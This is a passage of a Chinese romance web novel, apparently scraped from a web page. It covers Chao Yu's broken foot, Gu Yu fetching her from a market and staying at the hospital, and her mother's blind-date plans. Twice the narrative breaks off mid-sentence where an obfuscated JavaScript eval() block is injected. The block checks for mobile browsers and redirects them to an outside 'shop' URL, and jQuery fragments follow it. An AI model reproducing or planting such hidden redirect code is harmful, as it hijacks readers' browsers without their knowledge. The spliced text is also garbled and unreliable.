她赶紧阻止:“别,你可别。叫一趟救护车好几百呢,别占用公共医疗资源了。” “那……” 这时晁二柱身边有人说话,声音压得低,隔着手机听不清。 晁二柱好似应了声“好”,然后对晁雨说:“姐,那你等等啊。” “等什么?” “狗哥跟我一起来的,他说他回家骑毛奶奶的电瓶车来接你,估计能比我快点。” 晁雨愣了下:“辜屿和你一起来的?” 为什么…… “哦,刚才我们一起打游戏,他被对手蠢到了,跟我一起出来透透气。” 晁雨挂了电话,又安静躺在菜市场门口。 她现在可以确定她长得挺像碰瓷的了,到现在,真没一个人来扶她。 菜市场门口一个二手手机店,为了给老年人们展示国产机的音效,挂了只手机在门前,吱哇乱叫地放着音乐。 很巧,现在放的恰好就是那首《一生所爱》。 手机音效其实不怎么灵光,夹杂着微弱的电流声。晁雨想起那天去看《大话西游》,紫霞仙子的眼睛里有星星,对至尊宝说:“我的意中人是一位盖世英雄,有一天他会身披金甲圣衣、驾着七彩祥云来娶我。” 呵,她那天还想靠什么人都不如靠自己。 这话真是说早了,她现在不就只能躺在地上等人来接她么? 不知过了多久,耳畔“滴滴”两声。 晁雨艰难地掀起眼皮,怔了下。 辜屿一身黑衣黑裤,戴着只黑色口罩,仅露出的冷白肤色和一双眉眼也透出冷冽。 但他,他……骑在一辆贴着HelloKitty的粉红小电瓶上。 晁雨实在没憋住:“噗。” 不对啊这剧情不对啊,她倒是等到盖世英雄来接她了,可怎么不是身披金甲圣衣、驾着七彩祥云。 而是在菜市场的一片鸡鸭鹅叫中,穿得挺酷冻着张脸、骑着粉红小电瓶来接她。 辜屿从电瓶车上下来,垂眸扫描她一圈:“能起来么?” “不知道,应该能。我就是觉得左脚疼,完全不敢发力。” 辜屿对她伸出一只手。 晁雨不知怎的,忽然想起许辰懿给她发的那条微信:[你老家有没有手长得好看的?] 也就那么一瞬的功夫,因为看到有人来接她了,来买菜的各位爷叔嬢嬢围拢过来: “喔唷,这小姑娘怎么摔成这样啦?” 晁雨把手递过去,跟他手指相触的瞬间—— 好凉。 像蓦然触到一块炎夏的冰,山涧月光凝成,似要割伤人的手。 晁雨自己皮肤则是暖调。她是典型的江南姑娘,皮肤是绕城的溪水养出来的,白嫩而滑腻,她长相并不出挑,可初见的人往往会惊叹于她那一身皮肤:“好白。” 两人手指交缠的瞬间,说不上为什么,辜屿的手好像松了那么一瞬。 才重又握紧她的手。 晁雨正要借力爬起来,这么一来,她失去借力又重新躺回地上。围观的爷叔嬢嬢们议论:“喔唷,这姑娘是不是很沉?” “……”晁雨实在忍不住说:“你这样会让我很没面子。” “哦。”辜屿难得说了句:“没拉过女生,没经验。” “那就好。”晁雨脑子一抽:“不然我还以为你,有点虚。” 7. 第二件小事03 晁雨一开口就想咬掉自己的舌头。 她在说什么啊她…… 她也因此发现,她有点紧张。她这人就这样,一紧张的时候就满嘴跑火车。 可她紧张什么?不就是辜屿把她从地上拉起来了么? 她由辜屿扶着,眼尾瞟过去。 辜屿还是那样冷冷淡淡的一张脸,没什么表情。 大概是因为,这人的存在感太强。 以前她面对明恒宇的时候就没这种感觉,因为明恒宇虽然恃才傲物,可表面看起来很温厚。 辜屿不同。他懒得遮掩,哪怕表情漫不经心的时候,一双眼也透着锋锐。即便戴着口罩,也能看出他下颌的线条收得流畅紧致。 他的傲不是迫切想要自我证明的那种傲,而是他就在这里,如此客观地存在,像拢不住的月光,从白昼云层里透出来。有一种冷气的禁欲。 晁雨问自己:你想这么多干嘛? 他就是你弟的一个朋友,跟马超他们没什么两样,你看过他们穿开裆裤流着鼻涕到处乱跑的。 虽然她并没真的看过辜屿穿开裆裤,因为他六岁才来洵州。 她也没真的看过辜屿流鼻涕,因为他从小就是个很冷峻的小孩。 这时晁二柱顺着人群挤过来:“姐!姐!” “……别喊了,我就是折了条腿。” “那就好。”晁二柱拍着胸脯:“看你这披头散发的样子,我还以为你已经魂化了。” 晁雨瞪他一眼,理了理自己的头发。 他见晁雨没什么大事,笑嘻嘻问辜屿:“我姐这辈子跟女神形象是无缘了,对吧?” 辜屿表情没起伏,也没说话。 晁雨问晁二柱:“你怎么这么快就来了?” “还不是我跟交警叔叔求情,说我姐出车祸了,我得赶紧去救她。交警叔叔看我可怜,帮我开了条道。” 晁雨扫他一眼:“你这八字眉长的,是挺可怜。” “嘿!我来救你,你怎么说话呢……” 这时晁雨的胳膊已被移交到晁二柱手里,晁二柱扶着她。 辜屿拉开一步,跟在他们身后。 晁二柱怕自己一个人搞不定,辜屿把小电瓶停在一边,陪两人去医院。 晁二柱对医院流程那是分外不熟,因为他从小身体太差,像泡在医院里。 住医院住伤了,长大后有个头疼脑热,他都死命硬抗,打死不去医院。 辜屿脑筋清楚,搞定了缴费取报告的一系列流程。 缴费的时候其实挺尴尬。晁雨撞一下晁二柱的胳膊肘,冲他眨一下眼。 晁二柱看着她,也冲她眨一下眼。 “……”晁雨小声说:“帮我垫一下医药费。” “姐,你是不是忘了我还是个大三的学生?” “你的零花钱呢?” “拿去氪金了。” 最后还是辜屿垫付了医药费。 揣着银行卡里的一块八毛六逃离北京,说起来悲壮得像个电影桥段。可落到现实生活中,就是一重一重的尴尬。 失恋、失业、失去所有存款,这件事造成的打击不是瞬间到来,而是在每一天的生活里,一点点蚕食过来。 心脏是种不爽利的隐痛。 晁雨身上其他地方都是轻微擦伤,主要问题还在左脚。急诊医生看了她拍的片子:“有点骨裂,先打两个星期石膏看看。你这问题可大可小,千万好好养着。” 接着是输液消炎。 小城有小城的好,病员不多,输液还能有张床位。晁二柱看了眼她新打的石膏,还挺新鲜:“我能在上面画只卡皮巴拉吗?” 晁雨:“滚。” 晁二柱口袋里手机震了下,他掏出来一看:“糟了糟了。” “怎么?” “你说妈是不是有心灵感应?”晁二柱把手机拿给晁雨看:“她问我是不是出什么事了。” “你过去一趟,给爸打包份凉面,帮我糊弄过去。” “可你这脚都打上石膏了,也瞒不住啊。” “等他们收摊回家再说,不然他们现在又要急着收摊赶过来。”晁雨道:“我又没什么大事。” 晁二柱想了想:“那行,我过去一趟。狗哥麻烦你盯着我姐点。” 他匆匆走了。 这病房是临时辟出的一个日间病房,对放着八张床,用隔帘隔开。不过现在晚了,这里只有晁雨,睡在靠门边的那张床上。 开了小半的窗台上不知放着盆什么植物。冷气机发出嗡嗡的鸣唱声。 辜屿坐在床边一张折叠椅上,靠着椅背,一双大长腿随意支着。 黑色口罩摘了,床头柜上大约是前个病人忘带走的魔方。他拿在手里,也没用心去拼,很随意地转着。 指骨修长。手指冷白。 晁雨靠在床头,看着他的动作。 “那个,”她说:“谢谢啊。” 她声音很轻,在过分静谧的病房里却明显得过分。 他掀起眼皮来看了她眼。 她很轻地掖一掖唇角,想多解释一句——不只是因为你帮我垫付医药费。 还因为辜屿来接她,把她移交给她弟后。 他跟在两人身后,安静得像个沉默的影子。 那时菜市场门口很闹腾,鸡鸭鹅不停唱着歌,二手手机店开始放抖音神曲,爷叔嬢嬢们议论着这姑娘摔得可真惨。 一片烟火人间的闹腾中,只有他,连存在感都显得很轻薄。 晁雨一边跟晁二柱斗嘴,一边很小幅度的回头看了他眼。 那时她就想跟他说句什么。也许是一句“谢谢”,也许是随便一句什么。 也许一句话就像一根绳索,能够暂且把他从那样一片空洞的虚无里拽出来。 可周遭太吵,晁二柱喋喋不休,她最终还是什么也没说。 直到现在,冷气机呜呜转着,一句“谢谢”出口,很快被卷走。 他像是想多看她一眼。 最终没有,视线垂落回去,悬停在指间的魔方上,表情没什么起伏。 晁雨再度开口:“其实你不用在这,我自己订个闹钟,就算睡着了也不怕,到时候叫护士来拔针。” 她拿起手机望了眼药瓶,想估个时间。 辜屿开口:“四十八分钟。” 晁雨:? 辜屿指了下滚轮调节器:“匀速,算得出来。” 晁雨:“……” 她第一次感受到智商碾压。看一眼,就这样算出来了? 晁雨设了个四十五分钟的闹钟,叫辜屿:“你先回去吧,今天麻烦了。” 辜屿指尖对着蓝色的魔方块,不甚在意的:“嗯。” - 晁雨醒来时有种浑然不知天日的感觉。 她迷茫地眨了下眼,才反应过来自己是在医院输液。 这药里有助眠的成分吧?她总觉得自己以前加班再累,都没睡这么沉过。 看了眼手机,离闹钟响还有几分钟。 病床前的折叠椅上,晁二柱坐在那里,打横捏着手机很专注地打游戏,嘴里低声嘟嘟囔囔的。 刚才坐在这里那个一身黑衫冷白肤色的少年,像一场幻觉。 晁雨抬眸看了眼床头柜上的魔方。 拼好了。 像仙度瑞拉留下的一只水晶鞋。要不是这拼好的魔方,她还真不知辜屿刚刚是在这里,还是她睡迷糊了的一场梦。 不过梦里怎会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581586|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦见辜屿。他们又不熟。 这时晁二柱一抬眼,吓一跳,摘下一只耳机:“姐,你什么时候醒的?怎么不叫我。” “你什么时候过来的?”晁雨问。 “到了得有十来分钟吧。” 晁雨张了下嘴,又闭上。 晁二柱:“怎么?” 晁雨摇摇头:“没什么。” 想问晁二柱来的时候辜屿是不是已经走了,又觉得无甚必要。 他当然已经走了。留在这干嘛? 输完液,晁二柱扶晁雨走出,啊不,跳出医院。 晁二柱问:“要不要给你租个轮椅?” 她睨过去一眼:“你是没推过轮椅,想玩新鲜吧?” “我哪有那么幼稚。” 两人互怼着,晁雨跳出医院大门,问晁二柱:“你有没有闻到很好闻的气味?” 晁二柱怔了下:“没有啊。” 晁雨:“你是习惯了。” 晁二柱就在上海念大学,离洵州并不远。不像她,她的八年时光耗掷在北方。倏然一回水乡来,闻见夜晚空气里有种只属于南方的香气,清新的、柔软的。 也许来自意寒酥或蒲公英,也许来自芬软不起眼的泥土。也许不来自于任何地方,就是南方本身酿出来的。 晁二柱:“你怎么跟狗鼻子似的。我记得以前每当夏天快下雨的时候,你都能闻出来。” 晁雨点点头:“对。” 她是洵州长大的孩子。她真能闻出来。 两人到家后,过了会儿,晁正声和葛洁收摊回来了,一看她脚上的石膏,吓一大跳。 晁雨赶紧解释:“没事,真没事,就是骑电瓶车摔了下,打两周石膏就好。哦不对,还是有事。” 葛洁的一颗心吊起来。 晁雨:“就我这骑行水平,估计美团是肯定不能要我了,离月薪过万的梦想又远了一步。” 葛洁一巴掌拍在她肩上。 晁雨笑得龇牙咧嘴:“妈,你别是练过化骨绵掌吧?” 晁二柱扶她上楼,葛洁帮她收拾了下,一家人终于睡下。 晁雨先前在医院睡了很沉的一觉,这会儿反而睡不着。 刚刚葛洁把医药费转给晁二柱,让晁二柱还给辜屿。 晁雨躺在床上,在一片黑暗里望着天花板。 生平第一次的,她对前路感到前所有的迷茫。 她们是应试教育下成长起来的一代。初中被中考推着走,高中被高考推着走,上了大学,又被找份好工作的压力推着走。 对于什么是成功什么是失败,社会自有一套评价标准。她从不用停下来思考,被裹挟着往前走就好。 突然让她停下来,她一时还真想不清: 未来做点什么?几乎被整个行业除名的情况下,又该如何维生? 直到深夜,一双眼仍瞪得像铜铃。 这时手机响,她一把接起来:“喂。” 手机里传来一个优雅甜美的女声:“喂,请问晁雨在吗?” 晁雨一怔,低头又看了眼屏幕上的来电显示: 的确是她的亲闺蜜许辰懿没错。 她把手机贴回耳边:“你中邪了?” “靠,是你本人啊。”许辰懿的声音立马松懈下来。 “不是我本人还能是谁?” 许辰懿哼哼两声:“亏我还操心你会不会被那老贱人弄出心理阴影,想不到你手脚够快的,这就有新男朋友了。说,怎么勾搭上的?” 晁雨愣了:“男、朋、友?” “是啊,就是在医院帮你接电话那个。”许辰懿声音拔高三度,像只瓜田里渴求不满的猹:“一听声音就是个小帅哥,姐们儿,你够有本事的啊!” 8. 第二件小事04 “等等,你等等。”晁雨快速在脑子里捋了下。 没捋出来,于是开口问许辰懿:“到底什么情况?” “你在医院输液的时候,不是睡着了吗。你为了屏幕不偏色用的那小众手机,静音键特别难找,小帅哥怕吵醒你,就帮你接了。当然,也有可能不是怕吵醒你,而是对我这个人感兴趣。” 许辰懿在晁雨通讯录里的名字是——[全世界最美的女人]。 “哦……”晁雨还有点懵:“他怎么没告诉我呢?” 许辰懿贼兮兮一笑:“我让他别说的。不然我还怎么给你搞突然袭击、怎么从你嘴里套出实话来!” “你怎么知道是小帅哥?” “一听声音就知道了啊!年轻,性感,还是那种冷感禁欲的性感,牛掰!高级!” 不愧是市场部的头牌,阅人无数,听得还挺准。 许辰懿琢磨了下:“我生平就听过一个人的声音能与之相较。” “谁?” “辜屿弟弟。” “……”晁雨一时不知该不该告诉许辰懿,这人就是辜屿。 但辜屿来外婆家过暑假应该是私密行程,晁雨不确定这涉不涉及泄露他隐私。 “老实交代,那谁?” “没谁,就邻居家一弟弟。”晁雨问:“你俩说什么了?” “基本我在说,他全程就跟我说了两句话。” “什么?” “我问你是不是还好,他说:嗯。我问你是不是输完液就回家,他说:嗯。” 晁雨忍不住笑。 这就不错了,一通电话能说两句话。她跟辜屿从小到大,辜屿跟她说的话好像也不过五句。 “这也没说什么,怎么就变我男朋友了?” “我推理了啊!我凭这宫斗剧能活到最后一集的智商推理了啊!”许辰懿声音更高亢了:“这么冷感的天菜弟弟,你都睡了,人家大晚上在医院守着你输液,图什么啊?图你有钱啊?” 靠,晁雨捂了下心口。 这闺蜜绝对是亲的,一点不避讳往她心上插刀子。 她告诉许辰懿:“那是我弟托他帮忙,我弟去找我爸妈了。” 许辰懿将信将疑:“真没情况?” “能有什么情况?”晁雨反问:“我不是告诉你了么?我们这条老街上都是我弟的同龄人,我比他们大好几岁呢,看他们就是群毛头小子。” “毛头小子怎么了?”许辰懿不以为然:“我跟你说,现在就流行弟弟,弟弟体力才好呢!” “……”晁雨:“你加班加疯了,怎么什么虎狼之词都敢往外说。” 许辰懿大笑:“我是加班加疯了啊,天天在应酬局上面对那些甲方老板,一个个中年男人挺个大肚子,脑满肠肥的样儿,我都恨不得拿瓶洗洁精给他们去去油。这么一想,还是弟弟好。” 又说晁雨:“你就是被那老贱人给PUA了你知道么?玩什么纯爱战神的那一套啊!咱们大好年纪的女人,干嘛不好好享受自己的body?” “得,我现在是享受不了了。”晁雨说:“我的body残缺了。” 她脚折了。 许辰懿差点没笑死。 她问许辰懿:“你加班加得怎么样了?别跟疯了似的喝酒。” “有数。”许辰懿答她:“我这不是想方设法给自己解压么?生活中都是油腻老男人,我就花钱去找天菜弟弟。” “……啊?” “不是你想的那意思!我是说见面会!辜屿的见面会!” “……辜屿?” “是啊,辜屿现在火成那样子,就算他自己想低调,围棋协会也得推他出来做大众推广。他现在不是签了经纪公司么?本来这个月有场见面会,半个小时的时间,你猜入场券被黄牛炒到多少?” “多少?” “三万!就这还不是前排!” “……”晁雨默默算了下。 虽然她银行卡里只有一块八毛六,还是葛洁帮她垫付医药费的负债状态。 但她回洵州以后看了多少眼辜屿?换算出来值多少钱? 这要是能变现的话,富有,她很富有。 可惜不能。 晁雨又问:“什么叫本来有场见面会?现在没了?” “嗯哼,跟辜屿没敲好时间,取消了。”许辰懿语气里充满遗憾:“也不知辜屿在忙什么。” 晁雨知道。 他在休假。 晁雨琢磨着,也不知能不能找辜屿给许辰懿弄张签名。不过感觉辜屿一向不大喜欢她,她今天还说辜屿有点虚…… 两人聊了一阵,挂了电话。 第二天,晁二柱来扶晁雨去饭厅,葛洁已备好了早饭。 她看一眼晁雨的脚,眉先就蹙了起来。 晁雨怕葛洁担心:“一点都不疼,二柱子昨晚送我去的医院,他最清楚,对吧?” 晁二柱蜷起食指在石膏上嘣嘣敲两下:“是啊!妈你看,她一点都不疼!” 晁雨暗地里一阵龇牙咧嘴。 这小子敲这么实在干嘛! 吃完早饭,葛洁和晁正声去摊上,晁二柱依然去毛家小院打游戏,三不五时溜回来看看晁雨。 晁雨这一天除了蹦跶去上厕所,就没下过床。 一直到入了夜,她爸妈收摊回来了。 葛洁敲敲她房间的门:“睡了没?” “没呢。”晁雨放下正玩俄罗斯方块的手机:“妈,你进来。” 在床上躺一天真挺无聊的。 能刷的视频都刷尽了,只能玩俄罗斯方块。 葛洁走进来,坐在她床畔,看了眼她左脚的石膏,先是叹了口气:“从你回来开始,我们什么都没问。我在想,这样是不是反而不好,让你什么都憋在心里。你跟我说说,你骑车不是挺稳的吗,怎么突然就摔了?” 晁雨沉默一阵。 葛洁拉过她的手,在她手背上轻拍两下:“你这孩子从小就有自己的主意,什么都不愿意讲。” 这气氛,有点过于沉重了啊。 晁雨从床头柜上拿起一支笔,打开笔帽塞葛洁手里:“妈,咱全家人都没打过石膏,新鲜吧?你想画点什么,随便画。” 葛洁瞪她一眼:“别打岔。” 她咧嘴一笑,靠在床头又沉默一阵。 暖黄台灯下,葛洁眼神也一如洒落的灯光泛着暖调。 晁雨忽然开口:“妈,我不想再回北京了,我想留在家里。” 她本以为葛洁肯定问她为什么。她高中为了考建筑系是如何苦读,葛洁是看在眼里的,现在她想留下,那大学四年不就浪费了么。 没想到葛洁开口:“那叫‘去’。” 晁雨没明白:“啊?” 葛洁摸摸她的手:“你那不叫回北京,叫去北京。你唯一应该说回的,是回洵州,你的家在这,你的爸爸妈妈和弟弟在这。” 晁雨一瞬鼻酸。 从出事以后,她一直钢铁女侠似的笑得特昂扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581587|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。到这会儿,忽然有点绷不住了。 微低着头用力眨眼,企图把眼泪吸回眼眶。她握着葛洁的手,拇指在葛洁手背上缓缓地摩。那是一双常年做桂花元宵的手,皮肤油润而带着馨暖,泛一种淡淡的花香。 她看着葛洁手背上细细的纹路:“妈,你说我是不是挺笨的?那些在大城市该学会的,我从来都没学会。” 明恒宇一直告诉他,做设计从来不是单纯的做设计。 她应该专注的艺术,是与人打交道的艺术。 那时她带着年轻人独有的固执与骄傲,并没有真正把明恒宇的话听进去。所以现在,被明恒宇用血淋淋的事实生动上了一课。 大学四年加工作四年,她跟打了鸡血一样往前冲。八年过去,她第一次觉得好累。 累来自她深切的迷茫。 “笨就笨吧,老话说,傻人有傻福。”葛洁回握着她的手:“学不会咱就不学,天生什么样咱就什么样,你就留在洵州,陪着爸爸妈妈,再找个好对象,妈妈就没什么可担心的了。” 晁雨:“……啊?” 葛洁另只手捏着她刚刚递来的笔,大笔一挥,在她左脚的石膏上写了四个大字:「早生贵子」。 还在旁边画了两只企鹅,哦不,两只鸳鸯。 然后笑眯眯把笔帽扣回去,笔放回床头柜,拍拍晁雨的肩:“你好好休息,妈妈先回房了喔。” 哼着小曲走了。 晁雨在后面弱弱的喊:“妈……要不咱再商量商量……” 她怎么觉得:她把自己给坑了呢? - 一旦想让晁雨去相亲这层窗户纸捅穿,葛洁整个人瞬间昂扬了起来。 第二天,毛秀珍在麻将桌上输了钱。这老太太有一毛病,心情特别好或特别不好的时候,一喜之下或一怒之下,都会发挥十分随心所欲的黑暗料理。 以至于晁雨后来在网上看到一些大学所谓的“创意菜”,比如西芹炒草莓、哈密瓜炒鱼,她都能十分淡然地一笑—— 这都是毛秀珍玩剩下的。 葛洁在暑假期间,会趁着摊上不忙的时候回来做晚饭,这就给了男孩们来蹭饭的机会。 也不白蹭,主动买些菜过来,又轮番帮着洗碗。葛洁喜欢这样,家里热热闹闹。 她在晚饭桌上再度提起:“小雨,你徐阿姨知道你回洵州,啊呀高兴得不得了,找了好些优秀的男孩子给你挑,你觉得呢?” 晁雨不露声色看着她妈,葛洁嘴角微微扬起。 呵,一点小心思全写在脸上:当着这么多晚辈,你总不好驳我的面子。 晁雨夹一筷黄花菜:“行啊,不过我有几个条件。” 葛洁的眼睛瞬间亮了:“你说。” 有条件就是有希望。最怕年轻人说什么看感觉,那都是虚无缥缈的东西。 晁雨又夹一筷黄花菜:“我喜欢弟弟,至少比我小三岁以上吧。赚钱要多,买得起大别野那种。还有就是话少,我最烦男人啰嗦,叭叭叭的多烦人。” 她的这几条标准,一来,小城的相亲市场最看年龄,她又把标准定这么高,葛洁就算想找也没处找去。 二来,这些标准都是明恒宇的相反面,她是真被“险成同妻”的上一段恋情伤到了。 只不过,当晁雨要夹第三筷黄花菜的时候,隐隐觉得不对。 刚刚她话一出口,满桌皆静。 她一抬眸—— 发现满桌的男生们包括葛洁,齐刷刷地,看向了辜屿。 9. 第二件小事05 晁雨下意识抬手捏了捏自己的后颈。 她一定是黄花菜吃多了低血压,气血上不来,唉哟头晕。 “哈哈,哈哈哈。”她说:“我不是那意思,兔子还不吃窝边草呢对吧。” 辜屿端着只蓝花瓷的小碗,盛着半碗米饭,慢条斯理吃着条丝瓜。 脸上表情没任何起伏,好像没听到这场对话。 既然要留在洵州,休养的这几天,晁雨便开始在招聘网站看工作。 一看吓一跳:新闻说现在就业形势严峻,真不是玩虚的。 要不怎么说从大厂出来的员工,要么去“铁人三项”——滴滴快递外卖,要么变“吉祥三宝”——保安保姆保洁。 晁雨看了一圈,跟她本专业相关的工作,那是一份都没有。 虽然找工作这事不是迫在眉睫,毕竟她的脚还得养两周,但她还是越看越心虚。 当招聘网站再也刷不出新职位的时候,她合上电脑,给许辰懿发微信。 也没啥可说的,就甩表情包。 Cici:[生胖气.jpg] Cici:[人生无常,大肠包小肠.jpg] Cici:[你惹不起我,我纹着小猪佩奇.jpg] Cici:[今晚我做你的枕边人.jpg] 许辰懿给她回了个电话过来,气若游丝的:“姐们儿,你能别五分钟给我甩个表情包了么?让我睡个整觉。” “你在睡觉?”晁雨看了眼时间,下午五点。 “是啊。”许辰懿打个哈欠:“我每天加班到半夜三点,晚上还要陪甲方霸霸应酬,可不就得见缝插针,什么时候有空什么时候睡么?” “哦。”晁雨道:“那你睡吧。” 许辰懿也不跟她客气,直接把电话撂了。 人真是奇怪,工作的时候天天想放假。 真吧唧给你甩个长假过来,心里不慌是不可能的。 晁雨觉得对着招聘网站越看越焦虑,可她除了蹦去上厕所外又无事可做。 对着微信步数琢磨:正常人走一步其实算两步,她扶着墙一蹦三尺远也只能算一步。所以微信步数更加少得可怜,天天垫底,亏了。 晁雨对着微信步数发了阵呆:怎么其他人都忙得风生水起呢? 她放下手机,扶着墙蹦出房间,趴在木连廊上吹风。 正好这时看见晁二柱从门口走进天井里来。 她趴在木扶手上叫:“二柱子。” 晁二柱扬头:“你怎么出来了?” “吹会儿风。”她轻咬了下嘴上的皮:“诶,你去帮我买杯奶茶吧,就以前我们高中门口那家。” 洵州老城区就一所高中,名为云泉,晁雨和晁二柱都是那里毕业的。 和这片青石板路所载的老城一样,学校也像独立于时光之外,直到现在还是记忆中的模样。 有些逼仄的书店和文具店林立,到现在还能买到《故事会》,还有不少盗版武侠和日漫。 另有一家奶茶店,不是现在流行的新中式奶茶那种,没有奶盖鲜萃什么的那么豪华,就是最老式的奶茶粉冲开,加一勺塑料感有点重的珍珠,用印着喜羊羊的一层塑料纸塑封上。 拿到手里的时候,塑封那一圈还是热热的。 那奶茶在晁雨上学时就是三块钱一杯,到现在还是三块钱一杯。只不过晁雨上学时店主是个胖阿姨,现在变成了胖阿姨的女儿。 并且傲得很,从不开外卖,在老城区自有市场。可能很多人喝的就是个情怀。 晁二柱白晁雨一眼:“本来就天天躺着,喝什么奶茶,也不怕胖。” “你就是懒得跑一趟。”晁雨问:“你回来干嘛?” “找张游戏光盘,也不知还能不能用。” 说话间,晁二柱身后走来一道颀长的身影。 晁雨这才发现,辜屿是跟晁二柱一起来的。 她本来张着嘴还要跟晁二柱说些什么,这时嘴唇只是空张了下,什么都没说,齿尖很轻地磨了磨嘴唇上被自己咬过的皮。 辜屿很短促地抬了下头,看了她一眼。 就一眼。 晁雨心里掠过一阵半是着急半是烦躁的感觉,没来由地,伸手理了下被风撩乱的发。 诶,好像两天没洗头了。 她后知后觉的发现,那种半是着急半是烦躁的感觉,是一种隐隐的紧张。 这种感觉是从什么时候开始的? 也许,是从她摔折了腿、辜屿把她拉起来、两人手指绞缠的那一瞬开始。 晁二柱的卧室就在一楼,他钻进房间去,晁雨也就扶着墙一步步跳回房去。 进门前回了一下头。 她家天井里有棵巨大的桂花树,不知是哪一辈先人种下的,也不知有多少年头了。晁家的桂花元宵是一绝,全都倚赖这棵老桂树。 盛夏尚未到花期,正值分芽,近黄昏的风一吹,没来得及染金的浅白花芽随风而落。 簌簌落在立于树下的颀长身影肩头,似一场黄昏雪。 - 晁雨也不知自己怎么想的。 她靠在床头听晁二柱和辜屿离开后,蹦到洗手间,坐在椅子上艰难地洗了个头。 葛洁回来吃了晚饭,她去摊上给晁正声送饭了,晁雨便回了房。 靠在床头,接了个许辰懿打来的电话。 晁雨:“你现在怎么有空?” 许辰懿哼哼两声:“姐们儿在第二轮应酬前,百忙之中来给你送温暖,你就说吧,这闺蜜是不是亲的?” “是是是。” “你怎么就知道骚扰我。闲得无聊怎么不找帅弟弟玩去?” “哪来什么帅弟弟?”晁雨的手指搅着薄毯的一角。 “就上次医院接电话、声音特性感那个。” “都说了那只是邻居。” “邻居怎么了?太熟不好下手啊。” “……”晁雨想了想,她跟辜屿算熟吗? 好像也算。毕竟从小到大每年夏天都见。 好像也不算。就算见了,也沉默的不说话。尤其她没回洵州过夏天的这几年,足够一个单薄冷峻的少年,拔节为一个成熟的男人。 那天陡然重逢,有一种心脏被金属般月光刮过的……很难形容的感觉。 晁雨指甲尖抠着毯子角落的线头:“不是熟不熟的事。” “你就是个小学鸡,搞不清也正常。”许辰懿给她下定语:“你根本没心动过。” “没心动过的那是你。我可是……” 许辰懿冷哼一声:“说呀,你可是谈过恋爱的人,怎么不说了?你那叫谈恋爱么,你那就是个扯。况且你跟那老贱人之间,有过怦然心动的感觉么?我觉得你俩吧,撑死了就是觉得彼此合适。” 晁雨沉默。 “咱再回忆下你的学生时代。”许辰懿现在好像挺闲的,跟她理论:“你为了考出洵州,肯定是个卷王吧?肯定刷题刷得满额头冒油那种,也没空对哪个白衬衫少年心动吧?” “所以你虽然谈过一段恋爱,其实跟我站在同一起跑线上,都是感情小学鸡。” “呵。”晁雨听懂了:“你工作太忙没空谈恋爱,跑我这儿找平衡来了是吧?” 许辰懿哈哈一乐:“不跟你扯了,姐们儿忙去了。” 晁雨放下手机,端起床头的水杯喝一口。 她下午咬自己嘴皮时才发现,她腿摔折了这几天,懒得动弹,就连喝水都懒,嘴干得吓人。 偏偏她还有发呆时咬嘴皮的习惯。 这会儿喝水润了唇,她对着一室昏朦的光发呆时,又开始轻轻咬自己下唇。 有人敲门。 “进。”她心想晁二柱是不是被夺舍了,进她房间还知道敲门了。 门口却传来一道冷薄的声线:“方便么?” 她一愣,下意识抬手理了理自己的头发:“进来吧。” 推开门来的是辜屿,手里拎着个塑料袋,里面是一杯奶茶。 一看塑封纸上的喜羊羊,就知道出自她的高中校门口。 她下意识说:“谢谢。” 话一出口又想咬掉自己的舌头。 她下午说想喝高中校门口的奶茶、辜屿晚上拎着杯奶茶出现在她房间门口,这两件事并不能划等号吧? 辜屿如往常般冻着张脸,一推开门连房里温度都低几度,这杯奶茶也不见得是给她的啊。 尴尬,真尴尬。 正当晁雨想说些什么找补的时候,辜屿拎着奶茶走进房来。 托家里有晁二柱这么个倒霉弟弟的福,晁雨一般都规整穿着家居运动服,辜屿进来也没什么不方便。 辜屿把奶茶放到床头柜上:“外婆正好要喝。” 晁雨从以前就发现了。 辜屿不仅不怎么跟她说话,对其他人话也少。喜欢单字单字往外蹦,比如“哦”、“嗯”。 还有,能只说后果的绝不说前因。他这句话联系前后语境,完整的句子应该是——“下午听到你说想喝奶茶,正好我外婆要喝,就顺手给你带了一杯。” 晁雨刚才已经说过谢谢了。 她不知还能说些什么,张口道:“坐会儿吧。” 完、蛋。 她是遵循惯性的社交礼仪。通常有客上门、还带着什么礼物时,大家都会热情招呼:“坐会儿,坐会儿再回去。” 但这是辜屿。 从小长到大、跟她说话不超过五句的辜屿。虽然今年有点反常,截止到目前都跟她说三句了。 那也才三句啊!少得可怕! 她也不知能跟辜屿说什么,把辜屿留下来,干嘛? 不过幸好,辜屿这么冷僻的人,一定会拒绝她。 她充满信心地瞟了辜屿一眼。 辜屿拖开她床前的一张靠背木椅——那是葛洁或晁二柱来找她说话时坐的,然后,坐下了。 晁雨:“……” 完、大、蛋。 房间里静得落针可闻,辜屿垂眸看着木地板的接缝。 他也就是刚刚坐下前看了晁雨一眼。 很短促的一眼。 晁雨靠在床头,毯子搭在她腿上,穿一件浅灰家居运动服,领口有点敞,衬得她肤色更白。长得格外好的除了她一身细腻皮肤,还有那一头乌长的发。 都是南方山水养出来的,柔得惊人,披在肩头,像一幅泼墨的画,在雪白的宣纸上一点点晕开。 老房子电路常常出状况,晁雨房间在二楼,有穿堂风,所以她一般不开空调,架一台豆沙绿的小电扇,吱悠摇着头。风吹过来时,掀得她长发蝶翼似一扑。 她好像刚洗过 